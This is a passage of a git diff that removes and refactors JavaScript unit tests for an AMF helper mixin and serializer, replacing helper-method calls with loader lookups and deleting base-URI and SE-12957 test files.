-          assert.isUndefined(element._computeDescription(undefined));
-        });
-
-        it('Returns undefined if empty object', () => {
-          assert.isUndefined(element._computeDescription({
-            '@id': 'amf://1',
-            '@type': ['test'],
-          }));
-        });
-
-        it('Returns undefined if no description key', () => {
-          assert.isUndefined(
-            element._computeDescription(/** @type DomainElement */ ({
-              a: 'test',
-              '@id': 'amf://1',
-              '@type': ['test'],
-            }))
-          );
-        });
-
-        it('Returns the description', () => {
-          const shape = {
-            '@id': 'amf://1',
-            '@type': ['test'],
-            [element._getAmfKey(element.ns.schema.desc)]: {
-              '@value': ['test'],
-              '@id': 'amf://1',
-              '@type': ['test'],
-            }
-          };
-          assert.equal(element._computeDescription(shape), 'test');
-        });
-      });
-
       describe('_computeEncodes()', () => {
         beforeEach(async () => {
           element = await modelFixture(model);
@@ -927,75 +709,6 @@ describe('AmfHelperMixin', () => {
         });
       });
 
-      describe('_computeServer()', () => {
-        beforeEach(async () => {
-          element = await modelFixture(model);
-        });
-
-        it('Returns undefined if no argument', () => {
-          assert.isUndefined(element._computeServer(undefined));
-        });
-
-        it('Returns undefined if no encodes', () => {
-          assert.isUndefined(element._computeServer({
-            '@id': 'amf://1',
-            '@type': ['test'],
-          }));
-        });
-
-        it('Returns an object from AMF model', () => {
-          const result = element._computeServer(model);
-          assert.typeOf(result, 'object');
-        });
-      });
-
-      describe('_computeProtocols()', () => {
-        beforeEach(async () => {
-          element = await modelFixture(model);
-        });
-
-        it('Returns undefined if no argument', () => {
-          assert.isUndefined(element._computeProtocols(undefined));
-        });
-
-        it('Returns array with values', () => {
-          const result = element._computeProtocols(model);
-          assert.typeOf(result, 'array');
-          assert.deepEqual(result, ['HTTPS']);
-        });
-      });
-
-      describe('_computeEndpointByPath()', () => {
-        // let webApi;
-        before(async () => {
-          element = await modelFixture(model);
-          // webApi = element._computeWebApi(model);
-        });
-
-        it('Returns undefined if no model argument', () => {
-          const result = element._computeEndpointByPath(undefined, '/test');
-          assert.isUndefined(result);
-        });
-
-        it('Returns undefined if no path argument', () => {
-          const webApi = element._computeWebApi(model);
-          const result = element._computeEndpointByPath(webApi, undefined);
-          assert.isUndefined(result);
-        });
-
-        it('Returns undefined if path not found', () => {
-          const webApi = element._computeWebApi(model);
-          const result = element._computeEndpointByPath(webApi, '/test');
-          assert.isUndefined(result);
-        });
-
-        it('Returns model for an endpoint', () => {
-          const webApi = element._computeWebApi(model);
-          const result = element._computeEndpointByPath(webApi, '/changes');
-          assert.typeOf(result, 'object');
-        });
-      });
-
       describe('_computeEndpoints()', () => {
         let webApi;
         before(async () => {
@@ -1015,8 +728,7 @@ describe('AmfHelperMixin', () => {
         let noExpectsOperation;
         before(async () => {
           element = await modelFixture(model);
-          const webApi = element._computeWebApi(model);
-          const endpoint = element._computeEndpointByPath(webApi, '/changes/watch');
+          const endpoint = loader.lookupEndpoint(model, '/changes/watch');
           const key = element._getAmfKey(element.ns.aml.vocabularies.apiContract.supportedOperation);
           // eslint-disable-next-line prefer-destructuring
           operation = endpoint[key][0];
@@ -1062,7 +774,7 @@ describe('AmfHelperMixin', () => {
         });
 
         it('Returns object for endpoint', () => {
-          const endpoint = element._computeEndpointByPath(webApi, '/changes/watch');
+          const endpoint = loader.lookupEndpoint(model, '/changes/watch');
           const id = endpoint['@id'];
           const result = element._computeEndpointModel(webApi, id);
           assert.typeOf(result, 'object');
@@ -1094,15 +806,11 @@ describe('AmfHelperMixin', () => {
           assert.isUndefined(element._computeMethodModel(webApi, 'hello'));
         });
 
-        it('Returns object for method', () => {
-          const endpoint = element._computeEndpointByPath(webApi, '/permissionIds/{email}');
-          let op = element._computeOperations(webApi, endpoint['@id']);
-          if (op instanceof Array) {
-            // @ts-ignore
-            // eslint-disable-next-line prefer-destructuring
-            op = op[0];
-          }
-          const result = element._computeMethodModel(webApi, op['@id']);
+        it('returns object for an operation', () => {
+          const endpoint = loader.lookupEndpoint(model, '/permissionIds/{email}');
+          const operation = endpoint[loader._getAmfKey(loader.ns.aml.vocabularies.apiContract.supportedOperation)][0];
+
+          const result = element._computeMethodModel(webApi, operation['@id']);
           assert.typeOf(result, 'object');
           const type = element._getAmfKey(element.ns.aml.vocabularies.apiContract.Operation);
           assert.equal(result['@type'][0], type);
@@ -1260,14 +968,12 @@ describe('AmfHelperMixin', () => {
       });
 
       describe('_resolve()', () => {
-        let webApi;
         before(async () => {
           element = await modelFixture(model);
-          webApi = element._computeWebApi(model);
         });
 
         it('Resolves link target', () => {
-          const endpoint = element._computeEndpointByPath(webApi, '/referenceId');
+          const endpoint = loader.lookupEndpoint(model, '/referenceId');
           const opKey = element._getAmfKey(element.ns.aml.vocabularies.apiContract.supportedOperation);
           const exKey = element._getAmfKey(element.ns.aml.vocabularies.apiContract.expects);
           const plKey = element._getAmfKey(element.ns.aml.vocabularies.apiContract.payload);
@@ -1282,7 +988,7 @@ describe('AmfHelperMixin', () => {
         });
 
         it('Resolves link target for external fragment', () => {
-          const endpoint = element._computeEndpointByPath(webApi, '/external-data-type');
+          const endpoint = loader.lookupEndpoint(model, '/external-data-type');
           const opKey = element._getAmfKey(element.ns.aml.vocabularies.apiContract.supportedOperation);
           const exKey = element._getAmfKey(element.ns.aml.vocabularies.apiContract.expects);
           const plKey = element._getAmfKey(element.ns.aml.vocabularies.apiContract.payload);
@@ -1297,32 +1003,6 @@ describe('AmfHelperMixin', () => {
         });
       });
 
-      describe('_computeSecurityModel()', () => {
-        before(async () => {
-          element = await modelFixture(model);
-        });
-
-        it('Returns undefined when no declares', () => {
-          const result = element._computeSecurityModel(undefined, undefined);
-          assert.isUndefined(result);
-        });
-
-        it('Returns undefined when no id', () => {
-          const result = element._computeSecurityModel([], undefined);
-          assert.isUndefined(result);
-        });
-
-        it('Returns undefined when id not found', () => {
-          const result = element._computeSecurityModel([{ '@id': 'a', '@type': [] }], 'b');
-          assert.isUndefined(result);
-        });
-
-        it('Returns model for id', () => {
-          const result = element._computeSecurityModel([{ '@id': 'a', '@type': [] }], 'a');
-          assert.typeOf(result, 'object');
-        });
-      });
-
       describe('_computeDocument()', () => {
         let obj;
         beforeEach(async () => {
@@ -1365,371 +1045,6 @@ describe('AmfHelperMixin', () => {
         });
       });
 
-      describe('_computePropertyValue()', () => {
-        before(async () => {
-          element = await modelFixture(model);
-        });
-
-        it('Returns undefined when no argument', () => {
-          const result = element._computePropertyValue(undefined);
-          assert.isUndefined(result);
-        });
-
-        it('Returns undefined when no schema in argument', () => {
-          const result = element._computePropertyValue({
-            '@id': 'amf://1',
-            '@type': ['test'],
-          });
-          assert.isUndefined(result);
-        });
-
-        it('Returns default value', () => {
-          const {ns} = element;
-          const sKey = element._getAmfKey(ns.aml.vocabularies.shapes.schema);
-          const dvKey = element._getAmfKey(ns.w3.shacl.defaultValue);
-          const obj = {
-            '@id': 'amf://1',
-            '@type': ['test'],
-          };
-          obj[sKey] = {};
-          obj[sKey][dvKey] = {
-            '@value': 'test-value'
-          };
-          const result = element._computePropertyValue(obj);
-          assert.equal(result, 'test-value');
-        });
-
-        it('Returns default value when schema is array', () => {
-          const {ns} = element;
-          const sKey = element._getAmfKey(ns.aml.vocabularies.shapes.schema);
-          const dvKey = element._getAmfKey(ns.w3.shacl.defaultValue);
-          const obj = {
-            '@id': 'amf://1',
-            '@type': ['test'],
-          };
-          obj[sKey] = [{}];
-          obj[sKey][0][dvKey] = {
-            '@value': 'test-value'
-          };
-          const result = element._computePropertyValue(obj);
-          assert.equal(result, 'test-value');
-        });
-
-        it('Returns value from example', () => {
-          const {ns} = element;
-          const sKey = element._getAmfKey(ns.aml.vocabularies.shapes.schema);
-          const exKey = element._getAmfKey(ns.aml.vocabularies.apiContract.examples);
-          const rKey = element._getAmfKey(ns.aml.vocabularies.document.raw);
-          const obj = {
-            '@id': 'amf://1',
-            '@type': ['test'],
-          };
-          obj[sKey] = [{}];
-          obj[sKey][0][exKey] = [{}];
-          obj[sKey][0][exKey][0][rKey] = [
-            {
-              '@value': 'test-value'
-            }
-          ];
-          const result = element._computePropertyValue(obj);
-          assert.equal(result, 'test-value');
-        });
-      });
-
-      describe('_computeHeaders()', () => {
-        before(async () => {
-          element = await modelFixture(model);
-        });
-
-        describe('spies', () => {
-          afterEach(() => {
-            // @ts-ignore
-            element._computePropertyArray.restore();
-          });
-
-          it('Calls _computePropertyArray() with passed shape', () => {
-            const spy = sinon.spy(element, '_computePropertyArray');
-            const shape = {
-              '@id': 'amf://1',
-              '@type': ['test'],
-            };
-            element._computeHeaders(shape);
-            assert.isTrue(spy.called);
-            assert.isTrue(spy.args[0][0] === shape);
-          });
-
-          it('Calls _computePropertyArray() with proper key', () => {
-            const spy = sinon.spy(element, '_computePropertyArray');
-            element._computeHeaders({
-              '@id': 'amf://1',
-              '@type': ['test'],
-            });
-            assert.equal(spy.args[0][1], element.ns.aml.vocabularies.apiContract.header);
-          });
-        });
-
-        it('returns header schema object for async api message', async () => {
-          element = await modelFixture(asyncModel);
-          const operation = loader.lookupOperation(asyncModel, 'hello', 'publish');
-          const eKey = element._getAmfKey(element.ns.aml.vocabularies.apiContract.expects);
-          const expects = operation[eKey];
-          assert.isDefined(element._computeHeaders(expects[0]));
-        });
-      });
-
-      describe('_computeQueryParameters()', () => {
-        before(async () => {
-          element = await modelFixture(model);
-        });
-
-        afterEach(() => {
-          // @ts-ignore
-          element._computePropertyArray.restore();
-        });
-
-        it('Calls _computePropertyArray() with passed shape', () => {
-          const spy = sinon.spy(element, '_computePropertyArray');
-          const shape = {
-            '@id': 'amf://1',
-            '@type': ['test'],
-          };
-          element._computeQueryParameters(shape);
-          assert.isTrue(spy.called);
-          assert.isTrue(spy.args[0][0] === shape);
-        });
-
-        it('Calls _computePropertyArray() with proper key', () => {
-          const spy = sinon.spy(element, '_computePropertyArray');
-          element._computeQueryParameters({
-            '@id': 'amf://1',
-            '@type': ['test'],
-          });
-          assert.equal(spy.args[0][1], element.ns.aml.vocabularies.apiContract.parameter);
-        });
-      });
-
-      describe('_computeResponses()', () => {
-        before(async () => {
-          element = await modelFixture(model);
-        });
-
-        afterEach(() => {
-          // @ts-ignore
-          element._computePropertyArray.restore();
-        });
-
-        it('Calls _computePropertyArray() with passed shape', () => {
-          const spy = sinon.spy(element, '_computePropertyArray');
-          const shape = /** @type Operation */ ({});
-          element._computeResponses(shape);
-          assert.isTrue(spy.called);
-          assert.isTrue(spy.args[0][0] === shape);
-        });
-
-        it('Calls _computePropertyArray() with proper key', () => {
-          const spy = sinon.spy(element, '_computePropertyArray');
-          // @ts-ignore
-          element._computeResponses({});
-          assert.equal(spy.args[0][1], element.ns.aml.vocabularies.apiContract.response);
-        });
-      });
-
-      describe('_computeServerVariables()', () => {
-        before(async () => {
-          element = await modelFixture(model);
-        });
-
-        afterEach(() => {
-          // @ts-ignore
-          element._computePropertyArray.restore();
-        });
-
-        it('Calls _computePropertyArray() with passed shape', () => {
-          const spy = sinon.spy(element, '_computePropertyArray');
-          const shape = {
-            '@id': 'amf://1',
-            '@type': ['test'],
-          };
-          element._computeServerVariables(shape);
-          assert.isTrue(spy.called);
-          assert.isTrue(spy.args[0][0] === shape);
-        });
-
-        it('Calls _computePropertyArray() with proper key', () => {
-          const spy = sinon.spy(element, '_computePropertyArray');
-          element._computeServerVariables({
-            '@id': 'amf://1',
-            '@type': ['test'],
-          });
-          assert.equal(spy.args[0][1], element.ns.raml.vocabularies.apiContract.variable);
-        });
-      });
-
-      describe('_computeServerVariables()', () => {
-        before(async () => {
-          element = await modelFixture(model);
-        });
-
-        afterEach(() => {
-          // @ts-ignore
-          element._computePropertyArray.restore();
-        });
-
-        it('Calls _computePropertyArray() with passed shape', () => {
-          const spy = sinon.spy(element, '_computePropertyArray');
-          const shape = {
-            '@id': 'amf://1',
-            '@type': ['test'],
-          };
-          element._computeServerVariables(shape);
-          assert.isTrue(spy.called);
-          assert.isTrue(spy.args[0][0] === shape);
-        });
-
-        it('Calls _computePropertyArray() with proper key', () => {
-          const spy = sinon.spy(element, '_computePropertyArray');
-          element._computeServerVariables({
-            '@id': 'amf://1',
-            '@type': ['test'],
-          });
-          assert.equal(spy.args[0][1], element.ns.raml.vocabularies.apiContract.variable);
-        });
-      });
-
-      describe('_computeEndpointVariables()', () => {
-        before(async () => {
-          element = await modelFixture(model);
-        });
-
-        afterEach(() => {
-          // @ts-ignore
-          element._computeQueryParameters.restore();
-        });
-
-        it('Calls _computeQueryParameters() with passed shape', () => {
-          const spy = sinon.spy(element, '_computeQueryParameters');
-          const shape = {
-            '@id': 'amf://1',
-            '@type': ['test'],
-          };
-          element._computeEndpointVariables(shape);
-          assert.isTrue(spy.called);
-          assert.isTrue(spy.args[0][0] === shape);
-        });
-      });
-
-      describe('_computePayload()', () => {
-        before(async () => {
-          element = await modelFixture(model);
-        });
-
-        afterEach(() => {
-          // @ts-ignore
-          element._computePropertyArray.restore();
-        });
-
-        it('Calls _computePropertyArray() with passed shape', () => {
-          const spy = sinon.spy(element, '_computePropertyArray');
-          const shape = {
-            '@id': 'amf://1',
-            '@type': ['test'],
-          };
-          element._computePayload(shape);
-          assert.isTrue(spy.called);
-          assert.isTrue(spy.args[0][0] === shape);
-        });
-
-        it('Calls _computePropertyArray() with proper key', () => {
-          const spy = sinon.spy(element, '_computePropertyArray');
-          element._computePayload({
-            '@id': 'amf://1',
-            '@type': ['test'],
-          });
-          assert.equal(spy.args[0][1], element.ns.raml.vocabularies.apiContract.payload);
-        });
-      });
-
-      describe('_computeReturns()', () => {
-        before(async () => {
-          element = await modelFixture(model);
-        });
-
-        afterEach(() => {
-          // @ts-ignore
-          element._computePropertyArray.restore();
-        });
-
-        it('Calls _computePropertyArray() with passed shape', () => {
-          const spy = sinon.spy(element, '_computePropertyArray');
-          const method = /** @type Operation */ ({});
-          element._computeReturns(method);
-          assert.isTrue(spy.called);
-          assert.isTrue(spy.args[0][0] === method);
-        });
-
-        it('Calls _computePropertyArray() with proper key', () => {
-          const spy = sinon.spy(element, '_computePropertyArray');
-          element._computeReturns(/** @type Operation */ ({}));
-          assert.equal(spy.args[0][1], element.ns.aml.vocabularies.apiContract.returns);
-        });
-      });
-
-      describe('_computeSecurity()', () => {
-        before(async () => {
-          element = await modelFixture(model);
-        });
-
-        afterEach(() => {
-          // @ts-ignore
-          element._computePropertyArray.restore();
-        });
-
-        it('Calls _computePropertyArray() with passed shape', () => {
-          const spy = sinon.spy(element, '_computePropertyArray');
-          const method = /** @type Operation */ ({});
-          element._computeSecurity(method);
-          assert.isTrue(spy.called);
-          assert.isTrue(spy.args[0][0] === method);
-        });
-
-        it('Calls _computePropertyArray() with proper key', () => {
-          const spy = sinon.spy(element, '_computePropertyArray');
-          element._computeSecurity(/** @type Operation */ ({}));
-          assert.equal(spy.args[0][1], element.ns.aml.vocabularies.security.security);
-        });
-      });
-
-      describe('_computeHasCustomProperties()', () => {
-        before(async () => {
-          element = await modelFixture(model);
-        });
-
-        afterEach(() => {
-          // @ts-ignore
-          element._hasProperty.restore();
-        });
-
-        it('Calls _hasProperty() with passed shape', () => {
-          const spy = sinon.spy(element, '_hasProperty');
-          const shape = {
-            '@id': 'amf://1',
-            '@type': ['test'],
-          };
-          element._computeHasCustomProperties(shape);
-          assert.isTrue(spy.called);
-          assert.isTrue(spy.args[0][0] === shape);
-        });
-
-        it('Calls _hasProperty() with proper key', () => {
-          const spy = sinon.spy(element, '_hasProperty');
-          element._computeHasCustomProperties({
-            '@id': 'amf://1',
-            '@type': ['test'],
-          });
-          assert.equal(spy.args[0][1], element.ns.aml.vocabularies.document.customDomainProperties);
-        });
-      });
-
       describe('_computeApiVersion()', () => {
         before(async () => {
           element = await modelFixture(model);
@@ -2037,73 +1352,6 @@ describe('AmfHelperMixin', () => {
         });
       });
   
-      describe('_getServer()', () => {
-        describe('RAML', () => {
-          /** @type TestElement */
-          let element;
-          let model;
-          before(async () => {
-            model = await loader.getGraph(compact, 'amf-helper-api');
-          });
-
-          beforeEach(async () => {
-            element = await modelFixture(model);
-          });
-  
-          describe('root level', () => {
-            it('Returns no servers if id undefined', () => {
-              const servers = element._getServer({});
-              assert.typeOf(servers, 'array');
-              assert.lengthOf(servers, 0);
-            });
-  
-            it('Returns all matching servers if id is defined', () => {
-              const id = element._getServers({})[0]['@id'];
-              const servers = element._getServer({ id });
-              assert.typeOf(servers, 'array');
-              assert.lengthOf(servers, 1);
-            });
-  
-            it('Returns [] if no matching id', () => {
-              const servers = element._getServer({ id: 'foo' });
-              assert.typeOf(servers, 'array');
-              assert.lengthOf(servers, 0);
-            });
-          });
-        });
-  
-        describe('OAS', () => {
-          let methodId;
-          /** @type TestElement */
-          let element;
-          let model;
-          before(async () => {
-            model = await loader.getGraph(compact, 'multiple-servers');
-            const method = loader.lookupOperation(model, '/pets', 'get');
-            methodId = method['@id'];
-          });
-
-          beforeEach(async () => {
-            element = await modelFixture(model);
-          });
-  
-          describe('operation', () => {
-            it('Returns no servers if id undefined', () => {
-              const servers = element._getServer({ methodId });
-              assert.typeOf(servers, 'array');
-              assert.lengthOf(servers, 0);
-            });
-  
-            it('Returns all matching servers if id is defined', () => {
-              const id = element._getServers({})[0]['@id'];
-              const servers = element._getServer({ methodId, id });
-              assert.typeOf(servers, 'array');
-              assert.lengthOf(servers, 1);
-            });
-          });
-        });
-      });
-  
       describe('Expander', async () => {
         /** @type TestElement */
         let element;
diff --git a/test/helpers/SE-12957.test.js b/test/helpers/SE-12957.test.js
deleted file mode 100644
index 1eb3b08..0000000
--- a/test/helpers/SE-12957.test.js
+++ /dev/null
@@ -1,49 +0,0 @@
-import { fixture, assert, html } from '@open-wc/testing';
-import { AmfLoader } from '../AmfLoader.js';
-import './test-element.js';
-
-/** @typedef {import('../../').Amf.AmfDocument} AmfDocument */
-
-// In OAS path parameters can be defined on an operation level. This is in conflict
-// with RAML which only allows variables on the endpoint level.
-// This tests for reading parameters from an endpoint that are locates on the
-// method level.
-describe('SE-12957', () => {
-  async function basicFixture(amf) {
-    return fixture(html`<test-element .amf="${amf}"></test-element>`);
-  }
-
-  const loader = new AmfLoader();
-  const apiFile = 'SE-12957';
-
-  [false, true].forEach((compact) => {
-    describe(compact ? 'Compact model' : 'Full model', () => {
-      /** @type AmfDocument */
-      let model;
-      before(async () => {
-        model = await loader.getGraph(compact, apiFile);
-      });
-
-      let element;
-      beforeEach(async () => {
-        element = await basicFixture(model);
-      });
-
-      it('computes path parameters from AMF Endpoint model', () => {
-        const endpoint = loader.lookupEndpoint(model, '/api/v1/alarm/{scada-object-key}');
-        const method = loader.lookupOperation(model, '/api/v1/alarm/{scada-object-key}', 'get');
-        const result = element._computeEndpointVariables(endpoint, method);
-        assert.typeOf(result, 'array', 'result is array');
-        assert.lengthOf(result, 1, 'array has 1 item');
-      });
-
-      it('computes query parameters from AMF Expects model', () => {
-        const method = loader.lookupOperation(model, '/api/v1/alarm/{scada-object-key}', 'get');
-        const expects = element._computeExpects(method);
-        const result = element._computeQueryParameters(expects);
-        assert.typeOf(result, 'array', 'result is array');
-        assert.lengthOf(result, 1, 'array has 1 item');
-      });
-    });
-  });
-});
diff --git a/test/helpers/base-uri.test.js b/test/helpers/base-uri.test.js
deleted file mode 100644
index 64a41c3..0000000
--- a/test/helpers/base-uri.test.js
+++ /dev/null
@@ -1,182 +0,0 @@
-import { fixture, assert } from '@open-wc/testing';
-import { AmfLoader } from '../AmfLoader.js';
-import './test-element.js';
-
-/** @typedef {import('./test-element').TestElement} TestElement */
-/** @typedef {import('../../').Amf.AmfDocument} AmfDocument */
-
-describe('Base URI test', () => {
-  /**
-   * @returns {Promise<TestElement>}
-   */
-  async function basicFixture() {
-    return fixture(`<test-element></test-element>`);
-  }
-
-  const loader = new AmfLoader();
-
-  describe('Base URI test', () => {
-    /** @type TestElement */
-    let element;
-    /** @type AmfDocument */
-    let model;
-    let server;
-    let endpoint;
-    let gavEndpoint;
-
-    before(async () => {
-      model = await loader.getGraph(false, 'amf-helper-api');
-    });
-
-    beforeEach(async () => {
-      element = await basicFixture();
-      element.amf = model;
-      server = element._computeServer(model);
-      const webApi = element._computeWebApi(model);
-      endpoint = element._computeEndpointByPath(webApi, '/files');
-      gavEndpoint = element._computeEndpointByPath(webApi, '/{groupId}/{assetId}/{version}');
-    });
-
-    it('_getAmfBaseUri returns servers base uri', () => {
-      const result = element._getAmfBaseUri(server, undefined);
-      assert.equal(result, 'https://api.mulesoft.com/{version}');
-    });
-
-    const noSchemeServerV1 = {
-      '@id': 'file://test/demo-api/demo-api.raml#/web-api/https%3A%2F%2Fapi.mulesoft.com%2F%7Bversion%7D',
-      '@type': ['http://raml.org/vocabularies/http#Server', 'http://raml.org/vocabularies/document#DomainElement'],
-      'http://a.ml/vocabularies/http#url': [
-        {
-          '@value': 'api.mulesoft.com/test'
-        }
-      ]
-    };
-
-    const noSchemeServerV2 = {
-      '@id': 'file://test/demo-api/demo-api.raml#/web-api/https%3A%2F%2Fapi.mulesoft.com%2F%7Bversion%7D',
-      '@type': [
-        'http://raml.org/vocabularies/apiContract#Server',
-        'http://raml.org/vocabularies/document#DomainElement'
-      ],
-      'http://a.ml/vocabularies/core#urlTemplate': [
-        {
-          '@value': 'api.mulesoft.com/test'
-        }
-      ]
-    };
-
-    const noSchemeServer = (elem) =>  {
-      if (elem._modelVersion === 1) {
-        return noSchemeServerV1;
-      } 
-      return noSchemeServerV2;
-    };
-
-    it('_getAmfBaseUri() uses protocols with the base uri', () => {
-      const srv = noSchemeServer(element);
-      const result = element._getAmfBaseUri(srv, ['http']);
-      assert.equal(result, 'http://api.mulesoft.com/test');
-    });
-
-    it('_getAmfBaseUri() uses AMF encoded protocols with the base uri', () => {
-      const srv = noSchemeServer(element);
-      const result = element._getAmfBaseUri(srv, undefined);
-      assert.equal(result, 'https://api.mulesoft.com/test');
-    });
-
-    it('_getBaseUri() returns baseUri argument if set', () => {
-      const value = 'https://api.domain.com';
-      const result = element._getBaseUri(value, server);
-      assert.equal(result, value);
-    });
-
-    it('_computeEndpointUri() computes APIs encoded URI', () => {
-      const result = element._computeEndpointUri(server, endpoint);
-      assert.equal(result, 'https://api.mulesoft.com/{version}/files');
-    });
-
-    it('_computeEndpointUri() computes URI for altered baseUri', () => {
-      const result = element._computeEndpointUri(server, endpoint, 'https://domain.com');
-      assert.equal(result, 'https://domain.com/files');
-    });
-
-    it('_computeEndpointUri() computes URI for altered baseUri without scheme', () => {
-      const result = element._computeEndpointUri(server, endpoint, 'domain.com');
-      assert.equal(result, 'https://domain.com/files');
-    });
-
-    it('_ensureUrlScheme() adds scheme for url from AMF model', () => {
-      const result = element._ensureUrlScheme('domain.com', undefined);
-      assert.equal(result, 'https://domain.com');
-    });
-
-    it('_ensureUrlScheme() adds scheme for url from passed argument', () => {
-      const result = element._ensureUrlScheme('domain.com', ['ftp']);
-      assert.equal(result, 'ftp://domain.com');
-    });
-
-    it('_ensureUrlScheme() adds default scheme', () => {
-      element.amf = undefined;
-      const result = element._ensureUrlScheme('domain.com', undefined);
-      assert.equal(result, 'http://domain.com');
-    });
-
-    it('_ensureUrlScheme() adds non-http protocol if supplied', () => {
-      element.amf = undefined;
-      const result = element._ensureUrlScheme('domain.com', ['mqtt']);
-      assert.equal(result, 'mqtt://domain.com');
-    });
-
-    it('_ensureUrlScheme() does not add http protocol if url has protocol and protocols are supplied', () => {
-      element.amf = undefined;
-      const result = element._ensureUrlScheme('mqtt://domain.com', ['mqtt']);
-      assert.equal(result, 'mqtt://domain.com');
-    });
-
-    it('_computeUri() computes APIs encoded URI', () => {
-      const result = element._computeUri(endpoint, { server });
-      assert.equal(result, 'https://api.mulesoft.com/{version}/files');
-    });
-
-    it('_computeUri() computes version', () => {
-      const result = element._computeUri(endpoint, { server, version: 'v1.0.0' });
-      assert.equal(result, 'https://api.mulesoft.com/v1.0.0/files');
-    });
-
-    it('_computeUri() computes URI for altered baseUri', () => {
-      const result = element._computeUri(endpoint, { server, baseUri: 'https://domain.com' });
-      assert.equal(result, 'https://domain.com/files');
-    });
-
-    it('_computeUri() computes URI for altered baseUri withouth scheme', () => {
-      const result = element._computeUri(endpoint, { server, baseUri: 'domain.com' });
-      assert.equal(result, 'https://domain.com/files');
-    });
-
-    it('_computeUri() adds non-http protocol if provided', () => {
-      const result = element._computeUri(endpoint, { server, baseUri: 'domain.com', protocols: ['mqtt'] });
-      assert.equal(result, 'mqtt://domain.com/files');
-    });
-
-
-    it('_computeUri() computes uri without path', () => {
-      const result = element._computeUri(endpoint, { server, baseUri: 'domain.com', protocols: ['mqtt'], ignorePath: true });
-      assert.equal(result, 'mqtt://domain.com');
-    });
-
-    it('_computeUri() computes URI without optional parameters', () => {
-      const result = element._computeUri(endpoint);
-      assert.equal(result, '/files');
-    });
-
-    it('_computeUri() ignores base URI computation', () => {
-      const result = element._computeUri(endpoint, { server, baseUri: 'https://domain.com', ignoreBase: true });
-      assert.equal(result, '/files');
-    });
-
-    it('_computeUri() computes version only in base value', () => {
-      const result = element._computeUri(gavEndpoint, { server, baseUri: 'https://domain.com/{version}', version: 'v1' });
-      assert.equal(result, 'https://domain.com/v1/{groupId}/{assetId}/{version}');
-    });
-  });
-});
diff --git a/test/serializer/APIC-483.test.js b/test/serializer/APIC-483.test.js
index 1f5f000..cde16e4 100644
--- a/test/serializer/APIC-483.test.js
+++ b/test/serializer/APIC-483.test.js
@@ -30,7 +30,7 @@ describe('AmfSerializer', () => {
 
     it('serializes a TupleShape', () => {
       const expects = loader.lookupExpects(api, '/banks', 'post');
-      const payload = loader._computePayload(expects)[0];
+      const payload = expects[loader._getAmfKey(loader.ns.aml.vocabularies.apiContract.payload)][0];
       const shape = payload[serializer._getAmfKey(serializer.ns.aml.vocabularies.shapes.schema)][0];
       const result = /** @type ApiNodeShape */ (serializer.unknownShape(shape));
       const { examples, properties } = result;
diff --git a/test/serializer/Parameters.test.js b/test/serializer/Parameters.test.js
index 0efcc3f..3587486 100644
--- a/test/serializer/Parameters.test.js
+++ b/test/serializer/Parameters.test.js
@@ -22,7 +22,7 @@ describe('AmfSerializer', () => {
       it('has the name and the paramName', () => {
         const op = loader.lookupOperation(api, '/parameters', 'get');
         const ex = serializer._computeExpects(op);
-        const headers = serializer._computeHeaders(ex);
+        const headers = loader.readHeaders(ex);
         const result = serializer.parameter(headers[0]); // Accept
         assert.equal(result.name, 'Accept', 'has the name');
         assert.equal(result.paramName, 'Accept', 'has the paramName');
@@ -31,7 +31,7 @@ describe('AmfSerializer', () => {
       it('has the description', () => {
         const op = loader.lookupOperation(api, '/parameters', 'get');
         const ex = serializer._computeExpects(op);
-        const headers = serializer._computeHeaders(ex);
+        const headers = loader.readHeaders(ex);
         const result = serializer.parameter(headers[0]); // Accept
         assert.equal(result.description, 'Selects the response\'s media type, when supported.', 'has the name');
       });
@@ -39,7 +39,7 @@ describe('AmfSerializer', () => {
       it('has the required', () => {
         const op = loader.lookupOperation(api, '/parameters', 'get');
         const ex = serializer._computeExpects(op);
-        const headers = serializer._computeHeaders(ex);
+        const headers = loader.readHeaders(ex);
         const header = headers[1]; // x-required
         const result = serializer.parameter(header);
         assert.isTrue(result.required);
@@ -48,7 +48,7 @@ describe('AmfSerializer', () => {
       it('has the binding', () => {
         const op = loader.lookupOperation(api, '/parameters', 'get');
         const ex = serializer._computeExpects(op);
-        const headers = serializer._computeHeaders(ex);
+        const headers = loader.readHeaders(ex);
         const header = headers[1]; // x-required
         const result = serializer.parameter(header);
         assert.equal(result.binding, 'header');
@@ -57,7 +57,7 @@ describe('AmfSerializer', () => {
       it('has the example', () => {
         const op = loader.lookupOperation(api, '/parameters', 'get');
         const ex = serializer._computeExpects(op);
-        const headers = serializer._computeHeaders(ex);
+        const headers = loader.readHeaders(ex);
         const header = headers[3]; // If-Modified-Since
         const result = serializer.parameter(header);
         // the example is passed to the schema.
@@ -67,7 +67,7 @@ describe('AmfSerializer', () => {
       it('has the examples', () => {
         const op = loader.lookupOperation(api, '/parameters', 'get');
         const ex = serializer._computeExpects(op);
-        const qp = serializer._computeQueryParameters(ex);
+        const qp = loader.readQueryParameters(ex);
         const param = qp[3]; // combo
         const result = serializer.parameter(param);
         // the example is passed to the schema.
@@ -89,7 +89,7 @@ describe('AmfSerializer', () => {
     it('has the OAS properties', () => {
       const op = loader.lookupOperation(api, '/pet/{petId}', 'post');
       const ex = serializer._computeExpects(op);
-      const params = serializer._computeQueryParameters(ex);
+      const params = loader.readQueryParameters(ex);
       const param = params.find(p => serializer._getValue(p, serializer.ns.aml.vocabularies.apiContract.paramName) === 'name');
       const result = serializer.parameter(param);
       assert.isFalse(result.required, 'is not required');
@@ -103,7 +103,7 @@ describe('AmfSerializer', () => {
     it('has the content property', () => {
       const op = loader.lookupOperation(api, '/pet/{petId}', 'post');
       const ex = serializer._computeExpects(op);
-      const params = serializer._computeQueryParameters(ex);
+      const params = loader.readQueryParameters(ex);
       const param = params.find(p => serializer._getValue(p, serializer.ns.aml.vocabularies.apiContract.paramName) === 'filter');
       const result = serializer.parameter(param);
       const [p] = result.payloads;
@@ -120,7 +120,7 @@ describe('AmfSerializer', () => {
       // Possibly this happens during the resolution phase.
       const op = loader.lookupOperation(api, '/pet/findByStatus', 'get');
       const ex = serializer._computeExpects(op);
-      const params = serializer._computeQueryParameters(ex);
+      const params = loader.readQueryParameters(ex);
       const param = params.find(p => serializer._getValue(p, serializer.ns.aml.vocabularies.apiContract.paramName) === 'status');
       const schema = /** @type ScalarShape */ (param[serializer._getAmfKey(serializer.ns.aml.vocabularies.shapes.schema)][0]);
       const key = serializer._getAmfKey(serializer.ns.aml.vocabularies.apiContract.examples);
diff --git a/test/serializer/Shapes.test.js b/test/serializer/Shapes.test.js
index 853fc68..c0faf3a 100644
--- a/test/serializer/Shapes.test.js
